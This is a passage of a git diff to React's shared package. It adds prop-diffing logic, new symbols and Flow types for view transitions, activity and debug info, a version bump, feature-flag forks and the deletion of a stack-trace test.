+          // Just fallthrough to print the two values if we're deep.
+          // This will skip nested properties of the objects.
+        } else if (
+          typeof prevValue === 'object' &&
+          typeof nextValue === 'object' &&
+          prevValue !== null &&
+          nextValue !== null &&
+          readReactElementTypeof(prevValue) ===
+            readReactElementTypeof(nextValue)
+        ) {
+          if (readReactElementTypeof(nextValue) === REACT_ELEMENT_TYPE) {
+            if (
+              prevValue.type === nextValue.type &&
+              prevValue.key === nextValue.key
+            ) {
+              // If the only thing that has changed is the props of a nested element, then
+              // we omit the props because it is likely to be represented as a diff elsewhere.
+              const typeName =
+                getComponentNameFromType(nextValue.type) || '\u2026';
+              const line = '\xa0\xa0'.repeat(indent) + key;
+              const desc = '<' + typeName + ' \u2026 />';
+              properties.push([REMOVED + line, desc], [ADDED + line, desc]);
+              isDeeplyEqual = false;
+              continue;
+            }
+          } else {
+            // $FlowFixMe[method-unbinding]
+            const prevKind = Object.prototype.toString.call(prevValue);
+            // $FlowFixMe[method-unbinding]
+            const nextKind = Object.prototype.toString.call(nextValue);
+            if (
+              prevKind === nextKind &&
+              (nextKind === '[object Object]' || nextKind === '[object Array]')
+            ) {
+              // Diff nested object
+              const entry = [
+                UNCHANGED + '\xa0\xa0'.repeat(indent) + key,
+                nextKind === '[object Array]' ? 'Array' : '',
+              ];
+              properties.push(entry);
+              const prevLength = properties.length;
+              const nestedEqual = addObjectDiffToProperties(
+                prevValue,
+                nextValue,
+                properties,
+                indent + 1,
+              );
+              if (!nestedEqual) {
+                isDeeplyEqual = false;
+              } else if (prevLength === properties.length) {
+                // Nothing notably changed inside the nested object. So this is only a change in reference
+                // equality. Let's note it.
+                entry[1] =
+                  'Referentially unequal but deeply equal objects. Consider memoization.';
+              }
+              continue;
+            }
+          }
+        } else if (
+          typeof prevValue === 'function' &&
+          typeof nextValue === 'function' &&
+          prevValue.name === nextValue.name &&
+          prevValue.length === nextValue.length
+        ) {
+          // $FlowFixMe[method-unbinding]
+          const prevSrc = Function.prototype.toString.call(prevValue);
+          // $FlowFixMe[method-unbinding]
+          const nextSrc = Function.prototype.toString.call(nextValue);
+          if (prevSrc === nextSrc) {
+            // This looks like it might be the same function but different closures.
+            let desc;
+            if (nextValue.name === '') {
+              desc = '() => {}';
+            } else {
+              desc = nextValue.name + '() {}';
+            }
+            properties.push([
+              UNCHANGED + '\xa0\xa0'.repeat(indent) + key,
+              desc +
+                ' Referentially unequal function closure. Consider memoization.',
+            ]);
+            continue;
+          }
+        }
+
+        // Otherwise, emit the change in property and the values.
+        addValueToProperties(key, prevValue, properties, indent, REMOVED);
+        addValueToProperties(key, nextValue, properties, indent, ADDED);
+        isDeeplyEqual = false;
+      }
+    } else {
+      properties.push([ADDED + '\xa0\xa0'.repeat(indent) + key, '\u2026']);
+      isDeeplyEqual = false;
+    }
+
+    nextPropertiesChecked++;
+  }
+  return isDeeplyEqual;
+}
diff --git a/packages/shared/ReactSerializationErrors.js b/packages/shared/ReactSerializationErrors.js
index fb5181a5a915..36342412885a 100644
--- a/packages/shared/ReactSerializationErrors.js
+++ b/packages/shared/ReactSerializationErrors.js
@@ -14,6 +14,7 @@ import {
   REACT_MEMO_TYPE,
   REACT_SUSPENSE_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
 } from 'shared/ReactSymbols';
 
 import type {LazyComponent} from 'react/src/ReactLazy';
@@ -21,6 +22,8 @@ import type {LazyComponent} from 'react/src/ReactLazy';
 import isArray from 'shared/isArray';
 import getPrototypeOf from 'shared/getPrototypeOf';
 
+import {enableViewTransition} from 'shared/ReactFeatureFlags';
+
 // Used for DEV messages to keep track of which parent rendered some props,
 // in case they error.
 export const jsxPropsParents: WeakMap<any, any> = new WeakMap();
@@ -48,6 +51,18 @@ function isObjectPrototype(object: any): boolean {
   return true;
 }
 
+export function isGetter(object: any, name: string): boolean {
+  const ObjectPrototype = Object.prototype;
+  if (object === ObjectPrototype || object === null) {
+    return false;
+  }
+  const descriptor = Object.getOwnPropertyDescriptor(object, name);
+  if (descriptor === undefined) {
+    return isGetter(getPrototypeOf(object), name);
+  }
+  return typeof descriptor.get === 'function';
+}
+
 export function isSimpleObject(object: any): boolean {
   if (!isObjectPrototype(getPrototypeOf(object))) {
     return false;
@@ -77,9 +92,8 @@ export function isSimpleObject(object: any): boolean {
 export function objectName(object: mixed): string {
   // $FlowFixMe[method-unbinding]
   const name = Object.prototype.toString.call(object);
-  return name.replace(/^\[object (.*)\]$/, function (m, p0) {
-    return p0;
-  });
+  // Extract 'Object' from '[object Object]':
+  return name.slice(8, name.length - 1);
 }
 
 function describeKeyForErrorMessage(key: string): string {
@@ -129,6 +143,10 @@ function describeElementType(type: any): string {
       return 'Suspense';
     case REACT_SUSPENSE_LIST_TYPE:
       return 'SuspenseList';
+    case REACT_VIEW_TRANSITION_TYPE:
+      if (enableViewTransition) {
+        return 'ViewTransition';
+      }
   }
   if (typeof type === 'object') {
     switch (type.$$typeof) {
diff --git a/packages/shared/ReactSymbols.js b/packages/shared/ReactSymbols.js
index 002870896f00..bb67b5389306 100644
--- a/packages/shared/ReactSymbols.js
+++ b/packages/shared/ReactSymbols.js
@@ -7,22 +7,19 @@
  * @flow
  */
 
-import {renameElementSymbol} from 'shared/ReactFeatureFlags';
-
 // ATTENTION
 // When adding new symbols to this file,
 // Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
 
 // The Symbol used to tag the ReactElement-like types.
 export const REACT_LEGACY_ELEMENT_TYPE: symbol = Symbol.for('react.element');
-export const REACT_ELEMENT_TYPE: symbol = renameElementSymbol
-  ? Symbol.for('react.transitional.element')
-  : REACT_LEGACY_ELEMENT_TYPE;
+export const REACT_ELEMENT_TYPE: symbol = Symbol.for(
+  'react.transitional.element',
+);
 export const REACT_PORTAL_TYPE: symbol = Symbol.for('react.portal');
 export const REACT_FRAGMENT_TYPE: symbol = Symbol.for('react.fragment');
 export const REACT_STRICT_MODE_TYPE: symbol = Symbol.for('react.strict_mode');
 export const REACT_PROFILER_TYPE: symbol = Symbol.for('react.profiler');
-export const REACT_PROVIDER_TYPE: symbol = Symbol.for('react.provider'); // TODO: Delete with enableRenderableContext
 export const REACT_CONSUMER_TYPE: symbol = Symbol.for('react.consumer');
 export const REACT_CONTEXT_TYPE: symbol = Symbol.for('react.context');
 export const REACT_FORWARD_REF_TYPE: symbol = Symbol.for('react.forward_ref');
@@ -33,10 +30,7 @@ export const REACT_SUSPENSE_LIST_TYPE: symbol = Symbol.for(
 export const REACT_MEMO_TYPE: symbol = Symbol.for('react.memo');
 export const REACT_LAZY_TYPE: symbol = Symbol.for('react.lazy');
 export const REACT_SCOPE_TYPE: symbol = Symbol.for('react.scope');
-export const REACT_DEBUG_TRACING_MODE_TYPE: symbol = Symbol.for(
-  'react.debug_trace_mode',
-);
-export const REACT_OFFSCREEN_TYPE: symbol = Symbol.for('react.offscreen');
+export const REACT_ACTIVITY_TYPE: symbol = Symbol.for('react.activity');
 export const REACT_LEGACY_HIDDEN_TYPE: symbol = Symbol.for(
   'react.legacy_hidden',
 );
@@ -48,7 +42,9 @@ export const REACT_MEMO_CACHE_SENTINEL: symbol = Symbol.for(
   'react.memo_cache_sentinel',
 );
 
-export const REACT_POSTPONE_TYPE: symbol = Symbol.for('react.postpone');
+export const REACT_VIEW_TRANSITION_TYPE: symbol = Symbol.for(
+  'react.view_transition',
+);
 
 const MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
 const FAUX_ITERATOR_SYMBOL = '@@iterator';
@@ -67,3 +63,12 @@ export function getIteratorFn(maybeIterable: ?any): ?() => ?Iterator<any> {
 }
 
 export const ASYNC_ITERATOR = Symbol.asyncIterator;
+
+export const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = (Symbol.for(
+  'react.optimistic_key',
+): any);
+
+// This is actually a symbol but Flow doesn't support comparison of symbols to refine.
+// We use a boolean since in our code we often expect string (key) or number (index),
+// so by pretending to be a boolean we cover a lot of cases that don't consider this case.
+export type ReactOptimisticKey = true;
diff --git a/packages/shared/ReactTypes.js b/packages/shared/ReactTypes.js
index a108ead17d62..032d70c3ce36 100644
--- a/packages/shared/ReactTypes.js
+++ b/packages/shared/ReactTypes.js
@@ -7,6 +7,12 @@
  * @flow
  */
 
+import type {ReactOptimisticKey} from './ReactSymbols';
+
+export type {ReactOptimisticKey};
+
+export type ReactKey = null | string | ReactOptimisticKey;
+
 export type ReactNode =
   | React$Element<any>
   | ReactPortal
@@ -26,7 +32,7 @@ export type ReactText = string | number;
 export type ReactProvider<T> = {
   $$typeof: symbol | number,
   type: ReactContext<T>,
-  key: null | string,
+  key: ReactKey,
   ref: null,
   props: {
     value: T,
@@ -42,7 +48,7 @@ export type ReactConsumerType<T> = {
 export type ReactConsumer<T> = {
   $$typeof: symbol | number,
   type: ReactConsumerType<T>,
-  key: null | string,
+  key: ReactKey,
   ref: null,
   props: {
     children: (value: T) => ReactNodeList,
@@ -66,7 +72,7 @@ export type ReactContext<T> = {
 
 export type ReactPortal = {
   $$typeof: symbol | number,
-  key: null | string,
+  key: ReactKey,
   containerInfo: any,
   children: ReactNodeList,
   // TODO: figure out the API for cross-renderer implementation.
@@ -108,6 +114,7 @@ interface ThenableImpl<T> {
     onFulfill: (value: T) => mixed,
     onReject: (error: mixed) => mixed,
   ): void | Wakeable;
+  displayName?: string;
 }
 interface UntrackedThenable<T> extends ThenableImpl<T> {
   status?: void;
@@ -137,12 +144,6 @@ export type Thenable<T> =
   | FulfilledThenable<T>
   | RejectedThenable<T>;
 
-export type OffscreenMode =
-  | 'hidden'
-  | 'unstable-defer-without-hiding'
-  | 'visible'
-  | 'manual';
-
 export type StartTransitionOptions = {
   name?: string,
 };
@@ -168,28 +169,272 @@ export type ReactFormState<S, ReferenceId> = [
   number /* number of bound arguments */,
 ];
 
+// Intrinsic GestureProvider. This type varies by Environment whether a particular
+// renderer supports it.
+export type GestureProvider = any;
+
+export type GestureOptions = {
+  rangeStart?: number,
+  rangeEnd?: number,
+};
+
 export type Awaited<T> = T extends null | void
   ? T // special case for `null | undefined` when not in `--strictNullChecks` mode
   : T extends Object // `await` only unwraps object types with a callable then. Non-object types are not unwrapped.
-  ? T extends {then(onfulfilled: infer F): any} // thenable, extracts the first argument to `then()`
-    ? F extends (value: infer V) => any // if the argument to `then` is callable, extracts the argument
-      ? Awaited<V> // recursively unwrap the value
-      : empty // the argument to `then` was not callable.
-    : T // argument was not an object
-  : T; // non-thenable
+    ? T extends {then(onfulfilled: infer F): any} // thenable, extracts the first argument to `then()`
+      ? F extends (value: infer V) => any // if the argument to `then` is callable, extracts the argument
+        ? Awaited<V> // recursively unwrap the value
+        : empty // the argument to `then` was not callable.
+      : T // argument was not an object
+    : T; // non-thenable
+
+export type ReactCallSite = [
+  string, // function name
+  string, // file name TODO: model nested eval locations as nested arrays
+  number, // line number
+  number, // column number
+  number, // enclosing line number
+  number, // enclosing column number
+  boolean, // async resume
+];
+
+export type ReactStackTrace = Array<ReactCallSite>;
+
+export type ReactFunctionLocation = [
+  string, // function name
+  string, // file name TODO: model nested eval locations as nested arrays
+  number, // enclosing line number
+  number, // enclosing column number
+];
 
 export type ReactComponentInfo = {
-  +name?: string,
+  +name: string,
   +env?: string,
+  +key?: ReactKey,
+  +owner?: null | ReactComponentInfo,
+  +stack?: null | ReactStackTrace,
+  +props?: null | {[name: string]: mixed},
+  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol
+  +debugStack?: null | Error,
+  +debugTask?: null | ConsoleTask,
+  debugLocation?: null | Error,
+};
+
+export type ReactEnvironmentInfo = {
+  +env: string,
+};
+
+export type ReactErrorInfoProd = {
+  +digest: string,
+};
+
+export type JSONValue =
+  | string
+  | boolean
+  | number
+  | null
+  | {+[key: string]: JSONValue}
+  | $ReadOnlyArray<JSONValue>;
+
+export type ReactErrorInfoDev = {
+  +digest?: string,
+  +name: string,
+  +message: string,
+  +stack: ReactStackTrace,
+  +env: string,
+  +owner?: null | string,
+  cause?: JSONValue,
+  errors?: JSONValue,
+};
+
+export type ReactErrorInfo = ReactErrorInfoProd | ReactErrorInfoDev;
+
+// The point where the Async Info started which might not be the same place it was awaited.
+export type ReactIOInfo = {
+  +name: string, // the name of the async function being called (e.g. "fetch")
+  +start: number, // the start time
+  +end: number, // the end time (this might be different from the time the await was unblocked)
+  +byteSize?: number, // the byte size of this resource across the network. (should only be included if affecting the client.)
+  +value?: null | Promise<mixed>, // the Promise that was awaited if any, may be rejected
+  +env?: string, // the environment where this I/O was spawned.
   +owner?: null | ReactComponentInfo,
-  +stack?: null | string,
-  +task?: null | ConsoleTask,
+  +stack?: null | ReactStackTrace,
+  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol
+  +debugStack?: null | Error,
+  +debugTask?: null | ConsoleTask,
 };
 
 export type ReactAsyncInfo = {
-  +started?: number,
-  +completed?: number,
-  +stack?: string,
+  +awaited: ReactIOInfo,
+  +env?: string, // the environment where this was awaited. This might not be the same as where it was spawned.
+  +owner?: null | ReactComponentInfo,
+  +stack?: null | ReactStackTrace,
+  // Stashed Data for the Specific Execution Environment. Not part of the transport protocol
+  +debugStack?: null | Error,
+  +debugTask?: null | ConsoleTask,
+};
+
+export type ReactTimeInfo = {
+  +time: number, // performance.now
 };
 
-export type ReactDebugInfo = Array<ReactComponentInfo | ReactAsyncInfo>;
+export type ReactDebugInfoEntry =
+  | ReactComponentInfo
+  | ReactEnvironmentInfo
+  | ReactAsyncInfo
+  | ReactTimeInfo;
+
+export type ReactDebugInfo = Array<ReactDebugInfoEntry>;
+
+// Intrinsic ViewTransitionInstance. This type varies by Environment whether a particular
+// renderer supports it.
+export type ViewTransitionInstance = any;
+
+export type ViewTransitionClassPerType = {
+  [transitionType: 'default' | string]: 'none' | 'auto' | string,
+};
+
+export type ViewTransitionClass =
+  | 'none'
+  | 'auto'
+  | string
+  | ViewTransitionClassPerType;
+
+export type GestureOptionsRequired = {
+  rangeStart: number,
+  rangeEnd: number,
+};
+
+export type ViewTransitionProps = {
+  name?: string,
+  children?: ReactNodeList,
+  default?: ViewTransitionClass,
+  enter?: ViewTransitionClass,
+  exit?: ViewTransitionClass,
+  share?: ViewTransitionClass,
+  update?: ViewTransitionClass,
+  onEnter?: (
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onExit?: (
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onShare?: (
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onUpdate?: (
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onGestureEnter?: (
+    timeline: GestureProvider,
+    options: GestureOptionsRequired,
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onGestureExit?: (
+    timeline: GestureProvider,
+    options: GestureOptionsRequired,
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onGestureShare?: (
+    timeline: GestureProvider,
+    options: GestureOptionsRequired,
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+  onGestureUpdate?: (
+    timeline: GestureProvider,
+    options: GestureOptionsRequired,
+    instance: ViewTransitionInstance,
+    types: Array<string>,
+  ) => void | (() => void),
+};
+
+export type ActivityProps = {
+  mode?: 'hidden' | 'visible' | null | void,
+  children?: ReactNodeList,
+  name?: string,
+};
+
+export type SuspenseProps = {
+  children?: ReactNodeList,
+  fallback?: ReactNodeList,
+
+  // TODO: Add "unstable_" prefix?
+  suspenseCallback?: (Set<Wakeable> | null) => mixed,
+
+  unstable_avoidThisFallback?: boolean,
+  defer?: boolean,
+  name?: string,
+};
+
+export type SuspenseListRevealOrder =
+  | 'forwards'
+  | 'backwards'
+  | 'unstable_legacy-backwards'
+  | 'together'
+  | 'independent'
+  | void;
+
+export type SuspenseListTailMode = 'visible' | 'collapsed' | 'hidden' | void;
+
+// A SuspenseList row cannot include a nested Array since it's an easy mistake to not realize it
+// is treated as a single row. A Fragment can be used to intentionally have multiple children as
+// a single row.
+type SuspenseListRow = Exclude<
+  ReactNodeList,
+  Iterable<React$Node> | AsyncIterable<React$Node>,
+>;
+
+type DirectionalSuspenseListProps = {
+  // Directional SuspenseList are defined by an array of children or multiple slots to JSX
+  // It does not allow a single element child.
+  children?: Iterable<SuspenseListRow> | AsyncIterable<SuspenseListRow>, // Note: AsyncIterable is experimental.
+  revealOrder: 'forwards' | 'backwards' | 'unstable_legacy-backwards',
+  tail?: SuspenseListTailMode,
+};
+
+type NonDirectionalSuspenseListProps = {
+  children?: ReactNodeList,
+  revealOrder?: 'independent' | 'together' | void,
+  tail?: void,
+};
+
+export type SuspenseListProps =
+  | DirectionalSuspenseListProps
+  | NonDirectionalSuspenseListProps;
+
+export type TracingMarkerProps = {
+  name: string,
+  children?: ReactNodeList,
+};
+
+export type CacheProps = {
+  children?: ReactNodeList,
+};
+
+export type ProfilerPhase = 'mount' | 'update' | 'nested-update';
+
+export type ProfilerProps = {
+  id?: string,
+  onRender?: (
+    id: void | string,
+    phase: ProfilerPhase,
+    actualDuration: number,
+    baseDuration: number,
+    startTime: number,
+    commitTime: number,
+  ) => void,
+  onCommit?: (
+    id: void | string,
+    phase: ProfilerPhase,
+    effectDuration: number,
+    commitTime: number,
+  ) => void,
+  children?: ReactNodeList,
+};
diff --git a/packages/shared/ReactVersion.js b/packages/shared/ReactVersion.js
index 13dd40e747e0..bd5fa23ca26b 100644
--- a/packages/shared/ReactVersion.js
+++ b/packages/shared/ReactVersion.js
@@ -12,4 +12,4 @@
 // TODO: This module is used both by the release scripts and to expose a version
 // at runtime. We should instead inject the version number as part of the build
 // process, and use the ReactVersions.js module as the single source of truth.
-export default '19.0.0';
+export default '19.3.0';
diff --git a/packages/shared/__tests__/ReactSymbols-test.internal.js b/packages/shared/__tests__/ReactSymbols-test.internal.js
index 2ee93336ea7e..c651f53075a1 100644
--- a/packages/shared/__tests__/ReactSymbols-test.internal.js
+++ b/packages/shared/__tests__/ReactSymbols-test.internal.js
@@ -23,7 +23,6 @@ describe('ReactSymbols', () => {
     });
   };
 
-  // @gate renameElementSymbol
   it('Symbol values should be unique', () => {
     expectToBeUnique(Object.entries(require('shared/ReactSymbols')));
   });
diff --git a/packages/shared/__tests__/describeComponentFrame-test.js b/packages/shared/__tests__/describeComponentFrame-test.js
deleted file mode 100644
index 6fc5bef2c994..000000000000
--- a/packages/shared/__tests__/describeComponentFrame-test.js
+++ /dev/null
@@ -1,137 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-let React;
-let ReactDOMClient;
-let act;
-let jsxDEV;
-
-describe('Component stack trace displaying', () => {
-  beforeEach(() => {
-    React = require('react');
-    ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
-    jsxDEV = require('react/jsx-dev-runtime').jsxDEV;
-  });
-
-  // @gate !enableComponentStackLocations
-  // @gate __DEV__
-  it('should provide filenames in stack traces', async () => {
-    class Component extends React.Component {
-      render() {
-        return [<span>a</span>, <span>b</span>];
-      }
-    }
-
-    spyOnDev(console, 'error');
-    const container = document.createElement('div');
-    const fileNames = {
-      '': '',
-      '/': '',
-      '\\': '',
-      Foo: 'Foo',
-      'Bar/Foo': 'Foo',
-      'Bar\\Foo': 'Foo',
-      'Baz/Bar/Foo': 'Foo',
-      'Baz\\Bar\\Foo': 'Foo',
-
-      'Foo.js': 'Foo.js',
-      'Foo.jsx': 'Foo.jsx',
-      '/Foo.js': 'Foo.js',
-      '/Foo.jsx': 'Foo.jsx',
-      '\\Foo.js': 'Foo.js',
-      '\\Foo.jsx': 'Foo.jsx',
-      'Bar/Foo.js': 'Foo.js',
-      'Bar/Foo.jsx': 'Foo.jsx',
-      'Bar\\Foo.js': 'Foo.js',
-      'Bar\\Foo.jsx': 'Foo.jsx',
-      '/Bar/Foo.js': 'Foo.js',
-      '/Bar/Foo.jsx': 'Foo.jsx',
-      '\\Bar\\Foo.js': 'Foo.js',
-      '\\Bar\\Foo.jsx': 'Foo.jsx',
-      'Bar/Baz/Foo.js': 'Foo.js',
-      'Bar/Baz/Foo.jsx': 'Foo.jsx',
-      'Bar\\Baz\\Foo.js': 'Foo.js',
-      'Bar\\Baz\\Foo.jsx': 'Foo.jsx',
-      '/Bar/Baz/Foo.js': 'Foo.js',
-      '/Bar/Baz/Foo.jsx': 'Foo.jsx',
-      '\\Bar\\Baz\\Foo.js': 'Foo.js',
-      '\\Bar\\Baz\\Foo.jsx': 'Foo.jsx',
-      'C:\\funny long (path)/Foo.js': 'Foo.js',
-      'C:\\funny long (path)/Foo.jsx': 'Foo.jsx',
-
-      'index.js': 'index.js',
-      'index.jsx': 'index.jsx',
-      '/index.js': 'index.js',
-      '/index.jsx': 'index.jsx',
-      '\\index.js': 'index.js',
-      '\\index.jsx': 'index.jsx',
-      'Bar/index.js': 'Bar/index.js',
-      'Bar/index.jsx': 'Bar/index.jsx',
-      'Bar\\index.js': 'Bar/index.js',
-      'Bar\\index.jsx': 'Bar/index.jsx',
-      '/Bar/index.js': 'Bar/index.js',
-      '/Bar/index.jsx': 'Bar/index.jsx',
-      '\\Bar\\index.js': 'Bar/index.js',
-      '\\Bar\\index.jsx': 'Bar/index.jsx',
-      'Bar/Baz/index.js': 'Baz/index.js',
-      'Bar/Baz/index.jsx': 'Baz/index.jsx',
-      'Bar\\Baz\\index.js': 'Baz/index.js',
-      'Bar\\Baz\\index.jsx': 'Baz/index.jsx',
-      '/Bar/Baz/index.js': 'Baz/index.js',
-      '/Bar/Baz/index.jsx': 'Baz/index.jsx',
-      '\\Bar\\Baz\\index.js': 'Baz/index.js',
-      '\\Bar\\Baz\\index.jsx': 'Baz/index.jsx',
-      'C:\\funny long (path)/index.js': 'funny long (path)/index.js',
-      'C:\\funny long (path)/index.jsx': 'funny long (path)/index.jsx',
-    };
-
-    const root = ReactDOMClient.createRoot(container);
-
-    let i = 0;
-    for (const fileName in fileNames) {
-      Component.displayName = 'Component ' + i;
-
-      await act(() => {
-        root.render(
-          // Intentionally inlining a manual jsxDEV() instead of relying on the
-          // compiler so that we can pass a custom source location.
-          jsxDEV(
-            Component,
-            {},
-            undefined,
-            false,
-            {fileName, lineNumber: i},
-            this,
-          ),
-        );
-      });
-
-      i++;
-    }
-    if (__DEV__) {
-      i = 0;
-      expect(console.error).toHaveBeenCalledTimes(
-        Object.keys(fileNames).length,
-      );
-      for (const fileName in fileNames) {
-        if (!fileNames.hasOwnProperty(fileName)) {
-          continue;
-        }
-        const args = console.error.mock.calls[i];
-        const stack = args[args.length - 1];
-        const expected = fileNames[fileName];
-        expect(stack).toContain(`at ${expected}:`);
-        i++;
-      }
-    }
-  });
-});
diff --git a/packages/shared/consoleWithStackDev.js b/packages/shared/consoleWithStackDev.js
deleted file mode 100644
index 3fa2de383af9..000000000000
--- a/packages/shared/consoleWithStackDev.js
+++ /dev/null
@@ -1,64 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import ReactSharedInternals from 'shared/ReactSharedInternals';
-import {enableOwnerStacks} from 'shared/ReactFeatureFlags';
-
-let suppressWarning = false;
-export function setSuppressWarning(newSuppressWarning) {
-  if (__DEV__) {
-    suppressWarning = newSuppressWarning;
-  }
-}
-
-// In DEV, calls to console.warn and console.error get replaced
-// by calls to these methods by a Babel plugin.
-//
-// In PROD (or in packages without access to React internals),
-// they are left as they are instead.
-
-export function warn(format, ...args) {
-  if (__DEV__) {
-    if (!suppressWarning) {
-      printWarning('warn', format, args, new Error('react-stack-top-frame'));
-    }
-  }
-}
-
-export function error(format, ...args) {
-  if (__DEV__) {
-    if (!suppressWarning) {
-      printWarning('error', format, args, new Error('react-stack-top-frame'));
-    }
-  }
-}
-
-// eslint-disable-next-line react-internal/no-production-logging
-const supportsCreateTask = __DEV__ && enableOwnerStacks && !!console.createTask;
-
-function printWarning(level, format, args, currentStack) {
-  // When changing this logic, you might want to also
-  // update consoleWithStackDev.www.js as well.
-  if (__DEV__) {
-    if (!supportsCreateTask && ReactSharedInternals.getCurrentStack) {
-      // We only add the current stack to the console when createTask is not supported.
-      // Since createTask requires DevTools to be open to work, this means that stacks
-      // can be lost while DevTools isn't open but we can't detect this.
-      const stack = ReactSharedInternals.getCurrentStack(currentStack);
-      if (stack !== '') {
-        format += '%s';
-        args = args.concat([stack]);
-      }
-    }
-
-    args.unshift(format);
-    // We intentionally don't use spread (or .apply) directly because it
-    // breaks IE9: https://github.com/facebook/react/issues/13610
-    // eslint-disable-next-line react-internal/no-production-logging
-    Function.prototype.apply.call(console[level], console, args);
-  }
-}
diff --git a/packages/shared/enqueueTask.js b/packages/shared/enqueueTask.js
index f2d18e7584b7..f7e1c746e1f7 100644
--- a/packages/shared/enqueueTask.js
+++ b/packages/shared/enqueueTask.js
@@ -16,6 +16,7 @@ export default function enqueueTask(task: () => void): void {
       // read require off the module object to get around the bundlers.
       // we don't want them to detect a require and bundle a Node polyfill.
       const requireString = ('require' + Math.random()).slice(0, 7);
+      // $FlowFixMe[invalid-computed-prop]
       const nodeRequire = module && module[requireString];
       // assuming we're in node, let's try to get node's
       // version of setImmediate, bypassing fake timers if any.
diff --git a/packages/shared/forks/DefaultPrepareStackTrace.dom-edge.js b/packages/shared/forks/DefaultPrepareStackTrace.dom-edge.js
new file mode 100644
index 000000000000..b69f14e36a31
--- /dev/null
+++ b/packages/shared/forks/DefaultPrepareStackTrace.dom-edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default} from '../DefaultPrepareStackTraceV8';
diff --git a/packages/shared/forks/DefaultPrepareStackTrace.dom-node.js b/packages/shared/forks/DefaultPrepareStackTrace.dom-node.js
new file mode 100644
index 000000000000..b69f14e36a31
--- /dev/null
+++ b/packages/shared/forks/DefaultPrepareStackTrace.dom-node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default} from '../DefaultPrepareStackTraceV8';
diff --git a/packages/shared/forks/DefaultPrepareStackTrace.markup.js b/packages/shared/forks/DefaultPrepareStackTrace.markup.js
new file mode 100644
index 000000000000..b69f14e36a31
--- /dev/null
+++ b/packages/shared/forks/DefaultPrepareStackTrace.markup.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {default} from '../DefaultPrepareStackTraceV8';
diff --git a/packages/shared/forks/ReactFeatureFlags.eslint-plugin.www.js b/packages/shared/forks/ReactFeatureFlags.eslint-plugin.www.js
new file mode 100644
index 000000000000..b7df325b06f2
--- /dev/null
+++ b/packages/shared/forks/ReactFeatureFlags.eslint-plugin.www.js
@@ -0,0 +1,24 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow strict
+ */
+
+// This fork provides www-specific feature flag values for
+// eslint-plugin-react-hooks without pulling in the full
+// ReactFeatureFlags.www.js fork. The full fork imports dynamic flags
+// via require('ReactFeatureFlags'), which is a www Haste module that
+// doesn't exist in Node.js environments where the ESLint plugin runs.
+//
+// Only eprh_* flags are needed by the ESLint plugin.
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = true;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = true;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'extra-only';
diff --git a/packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js b/packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js
index ecdb3755691d..36774ad94d9f 100644
--- a/packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js
+++ b/packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js
@@ -18,11 +18,12 @@
 // add a test configuration for React Native.
 
 export const alwaysThrottleRetries = __VARIANT__;
-export const consoleManagedByDevToolsDuringStrictMode = __VARIANT__;
-export const disableDefaultPropsExceptForClasses = __VARIANT__;
-export const enableAddPropertiesFastPath = __VARIANT__;
-export const enableDeferRootSchedulingToMicrotask = __VARIANT__;
-export const enableFastJSX = __VARIANT__;
-export const enableInfiniteRenderLoopDetection = __VARIANT__;
-export const enableShallowPropDiffing = __VARIANT__;
+export const enableObjectFiber = __VARIANT__;
+export const enableEagerAlternateStateNodeCleanup = __VARIANT__;
 export const passChildrenWhenCloningPersistedNodes = __VARIANT__;
+export const enableFragmentRefs = __VARIANT__;
+export const enableFragmentRefsScrollIntoView = __VARIANT__;
+export const enableFragmentRefsInstanceHandles = __VARIANT__;
+export const enableEffectEventMutationPhase = __VARIANT__;
+export const enableFragmentRefsTextNodes = __VARIANT__;
+export const enableViewTransitionForPersistenceMode = __VARIANT__;
diff --git a/packages/shared/forks/ReactFeatureFlags.native-fb.js b/packages/shared/forks/ReactFeatureFlags.native-fb.js
index a9e2b146e1bc..e420b5443cc4 100644
--- a/packages/shared/forks/ReactFeatureFlags.native-fb.js
